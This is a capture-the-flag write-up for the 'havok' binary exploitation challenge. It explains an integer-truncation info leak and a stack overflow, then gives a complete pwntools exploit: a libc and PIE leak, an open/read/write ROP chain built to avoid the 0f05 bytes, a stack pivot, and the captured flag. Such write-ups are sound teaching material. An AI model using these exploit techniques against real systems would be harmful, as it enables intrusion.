Category: Binary Exploitation
Flag: apoorvctf{c0sm1c_b4rr13rs_br0k3n_4nd_h4v0k_s3cur3d}
Challenge Description
Havok has calibrated four concentric plasma rings to contain the cosmic spectrum. Each ring is a barrier. Each barrier can be broken but can you break them?
Analysis
The binary is a 64-bit PIE ELF with all the usual modern protections turned on (Full RELRO, canary, NX, PIE), so the solve path had to be leak-first and then controlled ROP instead of any simple ret2win shortcut.
file ./havok./havok: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dbfdb67cc5c037eabc542700fb98ed98dcb8656e, for GNU/Linux 4.4.0, with debug_info, not strippedchecksec --file=./havok[*] '/home/rei/Downloads/cosmic_rings/havok'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Debuginfo: YesI then pulled the symbol table to confirm the interesting functions and imports: calibrate_rings, inject_plasma, validate_plasma, and imported read/system.
readelf -s ./havok | rg "calibrate_rings|inject_plasma|validate_plasma|cosmic_release|main|flag_store| read@GLIBC| system@GLIBC" 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (3)
13: 0000000000001226 177 FUNC LOCAL DEFAULT 13 validate_plasma
31: 0000000000000000 0 FUNC GLOBAL DEFAULT UND system@GLIBC_2.2.5
33: 00000000000011e9 61 FUNC GLOBAL DEFAULT 13 cosmic_release
38: 00000000000015d5 132 FUNC GLOBAL DEFAULT 13 inject_plasma
47: 00000000000012d7 603 FUNC GLOBAL DEFAULT 13 calibrate_rings
49: 00000000000017e0 300 FUNC GLOBAL DEFAULT 13 main
55: 0000000000004280 128 OBJECT GLOBAL DEFAULT 25 flag_storeThe key bug is in calibrate_rings: it reads an int, then truncates to short, checks short <= 3, and uses that signed short as an index. Large positive values like 65534 and 65535 wrap to -2 and -1, which leaks out-of-bounds stack entries containing pointers.
objdump -d ./havok | rg -n -A4 -B4 "mov\s+%ax,-0xea\(%rbp\)|cmpw\s+\$0x3,-0xea\(%rbp\)|movswl\s+-0xea\(%rbp\),%eax|lea\s+-0x20\(%rbp\),%rax|mov\s+\$0x30,%edx|call\s+1090 <read@plt>"286- 13f4: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
287: 13fa: 66 89 85 16 ff ff ff mov %ax,-0xea(%rbp)
288- 1401: 66 83 bd 16 ff ff ff cmpw $0x3,-0xea(%rbp)
291: 140b: 0f bf 85 16 ff ff ff movswl -0xea(%rbp),%eax
...
426: 1632: 48 8d 45 e0 lea -0x20(%rbp),%rax
427- 1636: ba 30 00 00 00 mov $0x30,%edx
430: 1643: e8 48 fa ff ff call 1090 <read@plt>That same snippet also exposes ring 3’s overflow sink: read(0, rbp-0x20, 0x30), i.e. 48 bytes into a 32-byte stack buffer, enough to overwrite saved RBP and RIP and pivot into a ROP chain.
Running a tiny local probe script confirms those wrapped indices leak two pointers reliably.
from pwn import *
io = process(
[
"./ld-linux-x86-64.so.2",
"--library-path",
".",
"./havok",
]
)
io.recvuntil(b": ")
io.sendline(b"65534")
print(
io.recvregex(rb"\[\*\] Ring-[-0-9]+ energy: 0x[0-9a-fA-F]{16}\n").decode().rstrip()
)
io.recvuntil(b":")
io.sendline(b"A")
io.recvuntil(b": ")
io.sendline(b"65535")
print(
io.recvregex(rb"\[\*\] Ring-[-0-9]+ energy: 0x[0-9a-fA-F]{16}\n").decode().rstrip()
)
io.close()python ./leak_demo.py[*] Ring--2 energy: 0x00007f55dc91ce00
[*] Ring--1 energy: 0x00007f55dcadb7e0The challenge got annoying because ring 3 input validation rejects any payload containing 0f 05, so the ROP blob had to avoid that byte pair while still building a full chain. Also the network read for the overflow stage is slightly fickle, so retries matter.

The working exploit leaks libc and PIE via the wrapped indices, uploads a ROP chain into plasma_sig, then overflows inject_plasma to pivot with leave; ret. Because seccomp blocks execve, shell pop wasn’t the right endgame; the final chain does ORW on flag.txt and writes it to stdout. Once that chain landed, the service printed the real remote flag.

Solution
from pwn import *
import re
HOST = "chals1.apoorvctf.xyz"
PORT = 5001
elf = ELF("./havok", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
LEAVE_RET_OFF = 0x1224
POP_RDI_OFF = 0x10269A
POP_RSI_OFF = 0x53887
POP_RDX_XOR_EAX_RET_OFF = 0xD6FFD
def start(mode: str):
if mode == "LOCAL":
return process([
"./ld-linux-x86-64.so.2",
"--library-path",
".",
"./havok",
])
return remote(HOST, PORT)
def leak_slot(io, idx: int, label: bytes) -> int:
io.recvuntil(b"Probe a ring-energy slot")
io.recvuntil(b": ")
io.sendline(str(idx).encode())
line = io.recvregex(rb"\[\*\] Ring-[-0-9]+ energy: 0x[0-9a-fA-F]{16}\n")
m = re.search(rb"0x([0-9a-fA-F]{16})", line)
leak = int(m.group(1), 16)
io.recvuntil(b"Provide a label for this ring reading:")
io.sendline(label)
return leak
def build_signature(pie_base: int, libc_base: int, path: bytes) -> tuple[bytes, int]:
plasma_sig = pie_base + elf.symbols["plasma_sig"]
pop_rdi = libc_base + POP_RDI_OFF
pop_rsi = libc_base + POP_RSI_OFF
pop_rdx = libc_base + POP_RDX_XOR_EAX_RET_OFF
open_ = libc_base + libc.symbols["open"]
close_ = libc_base + libc.symbols["close"]
read_ = libc_base + libc.symbols["read"]
write_ = libc_base + libc.symbols["write"]
path_addr = plasma_sig + 0xC0
buf_addr = plasma_sig + 0x180
chain = flat(
pop_rdi, 3, close_,
pop_rdi, path_addr,
pop_rsi, 0,
open_,
pop_rdi, 3,
pop_rsi, buf_addr,
pop_rdx, 0x80,
read_,
pop_rdi, 1,
pop_rsi, buf_addr,
pop_rdx, 0x80,
write_,
)
sig = flat(0x0, chain)
sig = sig.ljust(0xC0, b"A") + path
if b"\x0f\x05" in sig:
raise RuntimeError("signature contains forbidden 0f05 sequence")
return sig, plasma_sig
def attempt(path: bytes):
io = start("REMOTE")
try:
puts_leak = leak_slot(io, 65534, b"A")
main_leak = leak_slot(io, 65535, b"B")
libc_base = puts_leak - libc.symbols["puts"]
pie_base = main_leak - elf.symbols["main"]
sig, pivot_base = build_signature(pie_base, libc_base, path)
io.recvuntil(b"Upload Plasma Signature")
io.recvuntil(b":")
io.send(sig)
io.recvuntil(b"Type CONFIRM")
leave_ret = pie_base + LEAVE_RET_OFF
pivot = b"C" * 0x20 + p64(pivot_base) + p64(leave_ret)
io.send(pivot + b"D" * 0x200 + b"\n")
out = io.recvrepeat(4.0)
m = re.search(rb"[A-Za-z0-9_]+\{[^}]+\}", out)
if m:
return m.group(0).decode()
return None
finally:
io.close()
for _ in range(12):
flag = attempt(b"flag.txt\x00")
if flag:
print(flag)
breakpython ./exploit.py[*] selected mode=REMOTE, marker_only=False
[*] trying path b'flag.txt\x00' attempt=1/12
[*] start() mode='REMOTE'
[*] connecting to remote service
[+] Opening connection to chals1.apoorvctf.xyz on port 5001: Done
[*] stage: leak slot -2
[*] stage: leak slot -1
[*] puts leak = 0x7f758beade00
[*] main leak = 0x7f758c0417e0
[*] libc base = 0x7f758be2b000
[*] pie base = 0x7f758c040000
[*] stage: upload signature
[*] stage: wait confirm prompt
[*] stage: send pivot overwrite
[*] stage: receive output
[*] Injection acknowledged.
apoorvctf{c0sm1c_b4rr13rs_br0k3n_4nd_h4v0k_s3cur3d}
FLAG: apoorvctf{c0sm1c_b4rr13rs_br0k3n_4nd_h4v0k_s3cur3d}